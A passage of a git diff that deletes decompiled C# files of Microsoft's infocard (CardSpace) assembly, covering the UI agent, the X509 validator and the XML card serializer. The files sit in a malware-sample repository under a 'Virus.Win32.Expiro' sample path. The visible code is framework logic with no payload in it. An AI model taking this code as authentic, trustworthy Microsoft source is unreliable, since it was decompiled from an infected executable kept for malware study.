SecurityTokenTypes.X509Certificate) - { - if (tokenRequirement.KeyUsage != SecurityKeyUsage.Signature) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return (SecurityTokenProvider) new RemoteCryptoTokenProvider(this.ClientCredentials.ClientCertificate.Certificate); - } - if (str == ServiceModelSecurityTokenTypes.MutualSslnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.AnonymousSslnego) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == ServiceModelSecurityTokenTypes.SecureConversation) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == SecurityTokenTypes.Kerberos || str == ServiceModelSecurityTokenTypes.Spnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == SecurityTokenTypes.UserName) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.SspiCredential) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential && this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - return str == SecurityTokenTypes.Rsa && flag ? (SecurityTokenProvider) ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider : base.CreateSecurityTokenProvider(tokenRequirement); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardUIAgent.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardUIAgent.cs deleted file mode 100644 index e915bb7e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardUIAgent.cs +++ /dev/null @@ -1,530 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardUIAgent -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class InfoCardUIAgent - { - private const string UiAgentName = "icardagt.exe"; - private const string IdleTimeoutKey = "software\\microsoft\\infocard"; - private const int IdleTimeoutDefault = 300; - private const string IdleTimeoutValue = "sleep1"; - public static readonly string UiAgentFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "icardagt.exe"); - private static bool s_initialized; - private static bool s_isShuttingDown; - private static ManualResetEvent s_doneShuttingDownEvent = new ManualResetEvent(false); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_sessionIdCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_pidCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private readonly TimeSpan AgentStateChangeTimeOut = new TimeSpan(0, 0, 300); - private static TimeSpan s_idleTimeout = new TimeSpan(0, 0, 300); - private static object s_syncRoot = new object(); - private ManualResetEvent m_uiStatusRecieved; - private AutoResetEvent m_agentGetWorkStart; - private AutoResetEvent m_agentGetWorkComplete; - private ClientUIRequest m_request; - private int m_tsSessionId; - private Process m_process; - private EventHandler m_processExitHandler; - private Timer m_timer; - private string m_trustedUserSid; - private SafeNativeHandle m_trustedUserToken; - private string m_desktopName; - private string m_user; - private InfoCardUIAgent.CallMode m_mode; - private RpcUIAgentGetWorkCallback m_getWorkCallback; - private ClientUIRequest.RequestResult m_currentStatus; - private object m_memberSync; - - private InfoCardUIAgent(int callerPid, WindowsIdentity userIdentity, int tsSessionId) - { - this.m_agentGetWorkStart = new AutoResetEvent(false); - this.m_agentGetWorkComplete = new AutoResetEvent(false); - this.m_uiStatusRecieved = new ManualResetEvent(false); - this.m_tsSessionId = tsSessionId; - this.m_timer = (Timer) null; - IntPtr zero1 = IntPtr.Zero; - IntPtr zero2 = IntPtr.Zero; - int pid = 0; - this.m_mode = InfoCardUIAgent.CallMode.Sleep; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_user = userIdentity.User.ToString(); - this.m_memberSync = new object(); - int num = NativeMcppMethods.VerifyTrust(InfoCardUIAgent.UiAgentFullPath); - if (num != 0) - InfoCardTrace.FailFast(SR.GetString("FailedToVerifySignature", (object) num)); - IntPtr zero3 = IntPtr.Zero; - bool fElevateToken = false; - int trustedUserWrapper = (int) NativeMcppMethods.CreateProcessAsTrustedUserWrapper(InfoCardUIAgent.UiAgentFullPath, "", (uint) callerPid, "WinSta0\\Default", userIdentity.Name, (uint) this.m_tsSessionId, ref zero2, ref zero1, ref pid, zero3, ref this.m_trustedUserSid, fElevateToken); - if (trustedUserWrapper != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new FailedToStartupUIException(SR.GetString("CreateProcessFailed", (object) trustedUserWrapper), (Exception) new Win32Exception(trustedUserWrapper))); - this.m_trustedUserToken = new SafeNativeHandle(zero2, true); - using (SafeWaitHandle processHandle = new SafeWaitHandle(zero1, true)) - { - this.m_process = ProcessMonitor.GetProcessById(pid); - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - Utility.ThrowIfProcessExited(processHandle); - } - } - - public uint ProcessId => (uint) this.m_process.Id; - - public string DesktopName => this.m_desktopName; - - private ClientUIRequest Request => this.m_request; - - public int TsSessionId => this.m_tsSessionId; - - public bool IsActive - { - get - { - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - return true; - default: - return false; - } - } - } - - public bool IsShuttingDown => this.m_mode == InfoCardUIAgent.CallMode.Shutdown; - - public SafeNativeHandle TrustedUserToken => this.m_trustedUserToken; - - public string TrustedUserSid => this.m_trustedUserSid; - - public string User => this.m_user; - - private static void InitializeIfNecessary() - { - if (InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - if (InfoCardUIAgent.s_initialized) - return; - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object seconds = registryKey.GetValue("sleep1", (object) 300); - if (seconds is int num) - { - if (num > 0) - InfoCardUIAgent.s_idleTimeout = new TimeSpan(0, 0, (int) seconds); - } - } - } - InfoCardUIAgent.s_initialized = true; - } - } - - public static InfoCardUIAgent Create( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - InfoCardUIAgent.InitializeIfNecessary(); - InfoCardUIAgent infoCardUiAgent = (InfoCardUIAgent) null; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.ThrowIfShuttingDown(); - infoCardUiAgent = (InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId]; - if (infoCardUiAgent != null) - { - if (infoCardUiAgent.IsShuttingDown) - { - infoCardUiAgent = (InfoCardUIAgent) null; - } - else - { - if (infoCardUiAgent.Request != null) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - if (infoCardUiAgent.User != callerIdentity.User.ToString()) - { - infoCardUiAgent.Shutdown(); - infoCardUiAgent = (InfoCardUIAgent) null; - } - } - } - if (infoCardUiAgent == null) - { - infoCardUiAgent = new InfoCardUIAgent(callerPid, callerIdentity, tsSessionId); - InfoCardUIAgent.s_pidCollection[infoCardUiAgent.ProcessId] = (object) infoCardUiAgent; - InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId] = (object) infoCardUiAgent; - } - } - return infoCardUiAgent; - } - - public RpcUIAgentGetWorkCallback Bind( - string desktopName, - out SecurityIdentifier userSid, - out SafeWaitHandle hStartEvent, - out SafeWaitHandle hCompleteEvent) - { - lock (this.m_memberSync) - { - userSid = new SecurityIdentifier(this.m_trustedUserSid); - hStartEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkStart.SafeWaitHandle, this.m_process); - hCompleteEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkComplete.SafeWaitHandle, this.m_process); - this.m_desktopName = desktopName; - return this.m_getWorkCallback = new RpcUIAgentGetWorkCallback(this.GetWork); - } - } - - public void ResetUIResult() - { - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - - public ClientUIRequest.RequestResult ShowUI(InfoCardUIAgent.CallMode mode) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - bool flag = false; - lock (this.m_memberSync) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - if (this.SetMode(mode)) - { - flag = true; - break; - } - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - break; - } - } - } - if (flag) - this.WaitForModeChange(); - this.m_uiStatusRecieved.WaitOne(); - } - return this.m_currentStatus; - } - - public void SetUIStatus(ClientUIRequest.RequestResult status) - { - lock (this.m_memberSync) - { - this.m_currentStatus = status; - if (this.m_request != null && (ClientUIRequest.RequestResult.Cancel == this.m_currentStatus || ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus || ClientUIRequest.RequestResult.Error == this.m_currentStatus)) - this.m_request.UserCancel(ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus); - this.m_uiStatusRecieved.Set(); - } - } - - public void SetRequest(ClientUIRequest request) - { - InfoCardTrace.Assert(null != request, "Request should not be null"); - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.m_request = request; - if (this.SetMode(InfoCardUIAgent.CallMode.Initialize)) - flag = true; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - if (!flag) - return; - this.WaitForModeChange(); - } - - private bool SetMode(InfoCardUIAgent.CallMode mode) - { - bool flag = false; - lock (this.m_memberSync) - { - if (InfoCardUIAgent.CallMode.Shutdown != this.m_mode) - { - if (this.m_mode != mode) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.Sleep: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Release, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Initialize: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Sleep, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Initialize, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Shutdown: -label_10: - this.m_mode = mode; - flag = true; - break; - case InfoCardUIAgent.CallMode.Release: - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.Initialize: - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - goto label_10; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto label_10; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - } - } - } - } - return flag; - } - - public void ReleaseUI() - { - if (!this.IsActive && InfoCardUIAgent.CallMode.Initialize != this.m_mode || !this.SetMode(InfoCardUIAgent.CallMode.Release)) - return; - this.WaitForModeChange(); - } - - private void WaitForModeChange() - { - this.m_agentGetWorkStart.Set(); - if (!this.m_agentGetWorkComplete.WaitOne(this.AgentStateChangeTimeOut, false)) - { - Utility.KillHelper(this.m_process); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UIAgentCrash"))); - } - } - - private void GetWork(out InfoCardUIAgent.CallMode mode, out int requestHandle) - { - lock (this.m_memberSync) - { - mode = InfoCardUIAgent.CallMode.Shutdown; - requestHandle = 0; - try - { - mode = this.m_mode; - if (this.m_request != null) - requestHandle = this.m_request.RequestHandle; - if (mode != InfoCardUIAgent.CallMode.Sleep) - return; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, InfoCardUIAgent.s_idleTimeout, new TimeSpan(0, 0, 0, 0, -1)); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - ClientUIRequest request = this.Request; - if (request == null) - return; - request.ProcessingException = ex; - } - } - } - - public void ClearRequest(ClientUIRequest request) - { - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request == request) - { - if (this.SetMode(InfoCardUIAgent.CallMode.Sleep)) - flag = true; - this.m_request = (ClientUIRequest) null; - } - } - if (!flag) - return; - this.WaitForModeChange(); - if (ClientUIRequest.RequestResult.Error != this.m_currentStatus) - return; - this.Shutdown(); - } - - private void OnTimeout(object state) - { - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request != null || this.IsShuttingDown) - return; - this.Shutdown(); - } - } - - private void OnProcessExit(int exitCode) - { - lock (InfoCardUIAgent.s_syncRoot) - { - this.m_mode = InfoCardUIAgent.CallMode.Shutdown; - InfoCardUIAgent.s_pidCollection.Remove(this.ProcessId); - InfoCardUIAgent.s_sessionIdCollection.Remove((uint) this.TsSessionId); - if (this.m_request != null && (this.m_currentStatus == ClientUIRequest.RequestResult.Pending || ClientUIRequest.RequestResult.Ok == this.m_currentStatus)) - { - switch ((EventCode) exitCode) - { - case EventCode.E_ICARD_UNTRUSTED: - this.m_request.UserCancel(true); - this.m_currentStatus = ClientUIRequest.RequestResult.Untrusted; - break; - case EventCode.E_ICARD_USERCANCELLED: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.Cancel; - break; - case EventCode.E_ICARD_UI_INITIALIZATION: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UIFailedInitialization; - break; - default: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UICrashed; - break; - } - this.m_uiStatusRecieved.Set(); - } - this.m_agentGetWorkComplete.Set(); - if (InfoCardUIAgent.s_isShuttingDown && InfoCardUIAgent.s_pidCollection.Count == 0) - InfoCardUIAgent.s_doneShuttingDownEvent.Set(); - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - if (this.m_trustedUserToken == null) - return; - this.m_trustedUserToken.Dispose(); - this.m_trustedUserToken = (SafeNativeHandle) null; - } - } - - private void OnProcessExit(object sender, EventArgs e) - { - this.m_process.Exited -= this.m_processExitHandler; - Process process = sender as Process; - InfoCardTrace.Assert(null != process, "Should be of type process."); - InfoCardTrace.Assert(process.ExitCode == this.m_process.ExitCode, "Should be the same!"); - this.OnProcessExit(process.ExitCode); - } - - private static void ThrowIfShuttingDown() - { - if (InfoCardUIAgent.s_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new SystemShuttingDownException()); - } - - private void Shutdown() - { - if (!this.SetMode(InfoCardUIAgent.CallMode.Shutdown)) - return; - this.WaitForModeChange(); - } - - private void Kill() => Utility.KillHelper(this.m_process); - - public static void OnLogout(uint sessionId) - { - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - ((InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[sessionId])?.Shutdown(); - } - - public static void DoShutdown() - { - bool flag = false; - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.s_isShuttingDown = true; - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - { - flag = true; - infoCardUiAgent.Shutdown(); - } - } - if (!flag || InfoCardUIAgent.s_doneShuttingDownEvent.WaitOne(new TimeSpan(0, 0, 15), false)) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - infoCardUiAgent.Kill(); - } - } - - public static InfoCardUIAgent FindByPid(uint pid) - { - lock (InfoCardUIAgent.s_syncRoot) - return (InfoCardUIAgent) InfoCardUIAgent.s_pidCollection[pid]; - } - - private class UInt32IndexedHybridDictionary - { - private HybridDictionary m_realDictionary = new HybridDictionary(); - - public int Count => this.m_realDictionary.Count; - - public ICollection Values => this.m_realDictionary.Values; - - public object this[uint index] - { - get => this.m_realDictionary[(object) index]; - set => this.m_realDictionary[(object) index] = value; - } - - public void Remove(uint index) => this.m_realDictionary.Remove((object) index); - } - - public enum CallMode - { - Sleep, - Initialize, - GetToken, - Manage, - Import, - Shutdown, - Crash, - Error, - Release, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardX509Validator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardX509Validator.cs deleted file mode 100644 index 54412556..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardX509Validator.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardX509Validator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class InfoCardX509Validator : X509CertificateValidator - { - private static InfoCardOfflineChainTrustValidator s_identityMachineChainTrustValidator = new InfoCardOfflineChainTrustValidator(true); - private static InfoCardOfflineChainTrustValidator s_identityUserChainTrustValidator = new InfoCardOfflineChainTrustValidator(false); - private static X509CertificateValidator s_identityPeerTrustValidator = X509CertificateValidator.PeerTrust; - private static X509Certificate2Collection m_supportingCertificates; - - private InfoCardX509Validator(X509Certificate2Collection supportingCerts) => InfoCardX509Validator.m_supportingCertificates = supportingCerts; - - public static X509CertificateValidator Create( - X509Certificate2Collection supportingCerts) - { - return (X509CertificateValidator) new InfoCardX509Validator(supportingCerts); - } - - public static void ValidateChainOrPeer( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - InfoCardX509Validator.Validate(certificate, supportingRecipientCerts, out chainTrustPassed); - } - - public override void Validate(X509Certificate2 certificate) => InfoCardX509Validator.Validate(certificate, InfoCardX509Validator.m_supportingCertificates, out bool _); - - public static bool ValidateChainOrPeerCallback( - object sender, - X509Certificate certificate, - X509Chain chain, - SslPolicyErrors sslPolicyErrors) - { - bool chainTrustPassed = false; - if ((sslPolicyErrors & SslPolicyErrors.RemoteCertificateNameMismatch) != SslPolicyErrors.None || (sslPolicyErrors & SslPolicyErrors.RemoteCertificateNotAvailable) != SslPolicyErrors.None) - return false; - InfoCardTrace.Assert(certificate != null && null != chain, "We should have returned false for SslPolicyErrors.RemoteCertificateNotAvailable"); - try - { - InfoCardX509Validator.ValidateChainOrPeer(new X509Certificate2(certificate), chain.ChainPolicy.ExtraStore, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - return false; - } - return true; - } - - private static void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - chainTrustPassed = false; - string str = string.Empty; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingRecipientCerts, out X509Chain _); - chainTrustPassed = true; - } - catch (SecurityTokenValidationException ex) - { - str = ex.Message; - } - if (chainTrustPassed) - return; - try - { - InfoCardX509Validator.ValidatePeer(certificate); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainFailAndPeerTrustFail", (object) str, (object) ex.Message))); - } - } - - public static void ValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - try - { - InfoCardX509Validator.s_identityMachineChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardX509Validator.s_identityUserChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - } - - public static bool TryValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts) - { - bool flag = true; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCerts, out X509Chain _); - } - catch (SecurityTokenValidationException ex) - { - flag = false; - } - return flag; - } - - public static void ValidatePeer(X509Certificate2 certificate) => InfoCardX509Validator.s_identityPeerTrustValidator.Validate(certificate); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardXmlSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardXmlSerializer.cs deleted file mode 100644 index 45431f0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardXmlSerializer.cs +++ /dev/null @@ -1,172 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardXmlSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardXmlSerializer - { - private InfoCard m_card; - private X509Certificate2 m_issuer; - private X509Certificate2Collection m_additionalIssuerCerts; - private bool m_isIssuerChainTrusted; - private bool m_checkSignature; - private bool m_isDeserialized; - private StoreConnection m_connection; - - public InfoCardXmlSerializer(StoreConnection connection) => this.m_connection = connection; - - public InfoCard Card => this.m_isDeserialized ? this.m_card : (InfoCard) null; - - public X509Certificate2 Issuer => this.m_isDeserialized ? this.m_issuer : (X509Certificate2) null; - - public X509Certificate2Collection AdditionalIssuerCerts => this.m_additionalIssuerCerts; - - public bool IsIssuerChainTrusted - { - get - { - InfoCardTrace.Assert(this.m_isDeserialized, "Card should be deserialized before checking this value"); - return this.m_isIssuerChainTrusted; - } - } - - public bool CheckSignature - { - set => this.m_checkSignature = value; - } - - public void Deserialize(string filename) - { - try - { - this.m_card = new InfoCard(); - this.m_card.HashSalt = InfoCard.GenerateSalt(); - this.CreateCardFromXml(filename); - this.m_card.IssuerIdentifierAsBytes = Convert.FromBase64String(Recipient.CertGetRecipientOrganizationIdHash(this.m_issuer, this.m_additionalIssuerCerts, this.m_isIssuerChainTrusted)); - this.m_isDeserialized = true; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - - private void CreateCardFromXml(string filename) - { - try - { - using (FileStream fileStream = File.OpenRead(filename)) - { - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) fileStream, new XmlReaderSettings() - { - IgnoreWhitespace = false, - IgnoreProcessingInstructions = false, - IgnoreComments = true - })) - { - this.RetrieveIssuerAndCheckSign(reader1); - fileStream.Seek(0L, SeekOrigin.Begin); - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader2 = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - while (reader2.Read()) - { - if (reader2.LocalName == "InformationCard") - { - this.m_card.ReadXml(reader2); - break; - } - } - reader2.Read(); - if ("Signature" != reader2.LocalName || XmlNodeType.EndElement != reader2.NodeType) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (FileNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportFileNotFound"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - - private void RetrieveIssuerAndCheckSign(XmlReader reader) - { - XmlDocument document = new XmlDocument(); - document.PreserveWhitespace = true; - document.Load(reader); - XmlNames.CreateNamespaceManager(document.NameTable); - if ("Signature" != document.DocumentElement.LocalName && "http://www.w3.org/2000/09/xmldsig#" == document.DocumentElement.NamespaceURI) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - SignedXml signedXml = new SignedXml(document); - signedXml.LoadXml(document.DocumentElement); - if (signedXml.Signature == null || signedXml.Signature.ObjectList == null || signedXml.Signature.SignedInfo == null || signedXml.Signature.SignedInfo.References == null || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.Signature.ObjectList.Count != 1 || signedXml.Signature.SignedInfo.References.Count != 1 || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain.Count != 1) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - string algorithm = ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain[0].Algorithm; - if (signedXml.Signature.SignedInfo.SignatureMethod != "http://www.w3.org/2000/09/xmldsig#rsa-sha1" || "http://www.w3.org/2001/10/xml-exc-c14n#" != algorithm && "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" != algorithm || "http://www.w3.org/2001/10/xml-exc-c14n#" != signedXml.Signature.SignedInfo.CanonicalizationMethodObject.Algorithm || "http://www.w3.org/2000/09/xmldsig#sha1" != ((Reference) signedXml.Signature.SignedInfo.References[0]).DigestMethod) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.KeyInfo == null) - throw 